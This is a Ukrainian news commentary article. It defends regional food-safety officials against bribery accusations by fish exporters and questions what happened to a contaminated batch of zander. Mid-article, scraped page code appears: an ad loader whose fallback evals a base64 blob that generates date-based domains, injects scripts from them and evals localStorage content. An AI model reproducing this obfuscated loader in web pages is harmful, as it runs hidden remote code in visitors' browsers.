Підприємці, які звинувачують Держпродспоживслужбу у хабарництві, замовчують долю 11 тонн бракованої риби

В свідомості більшості українців вже напевно утвердився стереотип: всі чиновники – бюрократи та хабарники, а всі бізнесмени – люди чесні та порядні. Насправді подібної «стрункості рядів» немає в жодній соціальній групі. В результаті і серед управлінців нерідко зустрічаються ефективні бездоганні менеджери, і серед підприємців вистачає порушників закону.

На початку травня на сторінці у Facebook запорізького бізнес-союзу «Порада» було опубліковано листа, адресованого в.о. голови державної служби України з питань безпеки харчових продуктів та захисту споживачів Ользі Шевченко. Копія надсилалась керівнику Офісу президента України Андрію Єрмаку, прем’єр-міністрові Денису Шмигалю, бізнес-омбудсмену України Роману Ващуку, директору НАБУ Семену Кривоносу та голові Запорізької обласної військової адміністрації Юрію Малашку.

Суть листа зводилася до звинувачень у вимаганні хабара керівником Головного управління Держпродспоживслужби у Запорізькій області Владиславом Катченком та головою Запорізького міського управління Держпродспоживслужби Олексієм Латишевим.

Зокрема, в листі було сказано наступне: «починаючи з листопаду 2022 року, Катченко В.Є. та Латишев О.В. повідомили, що з їх приходом на керівні посади Держпродспоживслужби у Запорізькій області підприємства Запоріжжя, які мають намір експортувати власну продукцію та отримати для цього дозвільні документи, повинні за кожну партію товару сплатити їм особисто обумовлену суму готівки, а саме 500 доларів США за кожну машину.

Мова йде про ТОВ «Альбакор» та ТОВ «Компанія Стінгрей», які… випускають продукцію під відомою торговою маркою Veladis.

Не погоджуючись з запропонованою корупційною схемою та розуміючи злочинну складову такої діяльності, підприємства вимушені оформлювати дозвільні документи на експорт продукції у інших областях України, а саме у Головному управління Держпродспоживслужби у Рівненській області та Головному управлінні Держпродспоживслужби у Черкаській області».

В якості «додаткових аргументів» у листі містились повідомлення про те, скільки громадян працевлаштовано двома згаданими фірмами, скільки податків і зборів сплачено ними до державного і місцевих бюджетів, перераховувалися всі досягнення та регалії риботорговців. Не обійшлося і без збройної агресії Російської Федерації, в умовах якої «маючи надскладні виклики по збереженню поточного вибробництва та робочих місць», бізнесмени «вимушені протистояти тиску» жадібних чиновників.

Одним словом, завданням листа було викликати праведний гнів високого начальства і негайно направити караючий меч на очільників управління Держпродспоживслужби, а саме звільнити їх «з займаних посад» і «притягнути до юридичної відповідальності».

Одразу після ознайомлення з цією історією у викладі бізнес-союзу «Порада» та інших підписантів листа — а це директора згаданих фірм, представник трудового колективу ТОВ «Компанія Стінгрей»(!) та керівник Асоціації українських імпортерів риби та морепродуктів — саме собою напрошується запитання: а чому заявники не звернулися до правоохоронних органів для того, щоб впіймати хабарників на гарячому? Адже скільки разів всі ми бачили по телебаченню кадри затримання корупціонерів в момент отримання хабара.

Замість цього підприємці пишуть обурені листи та звертаються до інших регіональних управлінь Держпродспоживслужби за отриманням дозволів на експорт. При цьому з незрозумілих причин це не профільні відомства сусідніх областей, а управління аж у Рівному та Черкасах. Інакше кажучи, чим везти зразки риби до Черкас, можна було б спочатку заїхати до Дніпра чи Кропивницького, які розташовані значно ближче, а прямуючи до Рівного, з тим же успіхом можна було заглянути до Вінниці, Житомира чи Хмельницького.

Звичайно, великі експортери мають достатньо грошей, щоб возити зразки риби куди завгодно, хоч на Закарпаття, але з погляду на елементарну логістику це нерозумно. І є тільки один вагомий аргумент на користь того, щоб палити бензин аж до Рівного чи Черкас — це домовленості, які дозволяють вирішувати питання з дозволом на експорт без жодних «бюрократичних» зволікань. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }

Щодо запорізького управління Держпродспоживслужби, то до приходу на свою посаду О.В. Латишева в жовтні 2022 року співробітники підприємств «Альбакор» та «Компанія Стінгрей» були там частими гостями. Причина: зразки риби для отримання дозволів на експорт вони привозили прямо до управління, а паперовий документообіг супроводжував ці приїзди у фоновому режимі. Тобто приписаної законом процедури оформлення дозволів не дотримувались. Можливо тому, що за процедурою, яка регламентована Наказом №490 Міністерства аграрної політики та продовольства України від 11.10.2018, зразки продукції треба відбирати безпосередньо на виробництві й довільно з тієї партії, що готується на експорт. Різниця між тим, що робили риботорговці, і тим, як повинно бути за законом, суттєва.

Коли новий керівник управління Держпродспоживслужби виявив системні порушення в процедурі оформлення дозволів на експорт, він одразу ж звільнив свого заступника, який був надто лояльний до згаданих фірм, а ще кільком співробітникам виніс сувору догану. Таким чином, налагоджена роками схема була поламана.

В грудні 2022 року для ТОВ «Компанія Стінгрей» склалася зовсім неприємна ситуація. У великій партії судака – 11,4 тонн – лабораторний аналіз виявив перевищення допустимих показників одного з мікробіологічних випробувань. Не задовольнившись результатами аналізу, експортер, за словами співробітника лабораторії, який наважився оприлюднити ці дані, ще двічі подавав заявку на відбір зразків та їхнє лабораторне дослідження. Але всі три рази аналіз показував те ж саме — явне перевищення згаданого мікробіологічного випробування. Поставивши під сумнів неупередженість керівництва запорізького управління, ТОВ «Компанія Стінгрей» направило зразки тієї ж риби до Міжрегіональної лабораторії в м. Дніпро. Але й там аналіз знову показав перевищення того ж самого показника.

Що було далі з забракованою партією судака, історія замовчує. Принаймні, запорізьке управління Держпродспоживслужби повідомлене про це не було, хоча закон того вимагає. За ринковими цінами, у тих же магазинах Veladis, кілограм судака коштує 230 грн, філе — і того дорожче. Тобто мова про партію вартістю понад 2,5 млн грн. Гроші чималі.

Між тим показник, за яким було перевищення, КМАФАнМ – це найпоширеніший тест на мікробну безпеку. Він оцінює кількість мезофільних аеробних і факультативно-анаеробних мікроорганізмів, якими може бути обсіменений харчовий продукт.

Збільшення цього показника свідчить про розмноження мікроорганізмів, серед яких можуть виявитись патогени та мікроорганізми, що викликають псування продукту — наприклад, плісняву. Причиною великої кількості КМАФАнМ найчастіше є порушення санітарних правил та технологічного режиму виготовлення, а також термінів і температурних режимів зберігання, транспортування та реалізації харчових продуктів. Високий вміст КМАФАнМ може спричинити харчове отруєння з ознаками діареї, гастроентериту.

Висновки

Далі, як вже відомо, через деякий час в місцевих ЗМІ почалась кампанія по звинуваченню у вимаганні хабара – безпідставна з точки зору доказів, але обґрунтована з погляду на стереотипне уявлення людей про держслужбовців як неодмінних бюрократів та корупціонерів.

Захищаючи себе від наклепу, В.Є. Катченко та О.В. Латишев вже звернулись до суду з позовною заявою про захист честі, гідності та ділової репутації. Одинадцять з гаком тон судака швидше за все вже з’їдені українськими споживачами. Дякувати богу, на цей раз обійшлося без серйозних наслідків. З іншого боку, відомо, якими важкими наслідками може супроводжуватись отруєння рибою. І якщо підозрілу рибу намагаються відправити на експорт, то що ж тоді відбувається на внутрішньому ринку?

Підписуйтесь на Акцент в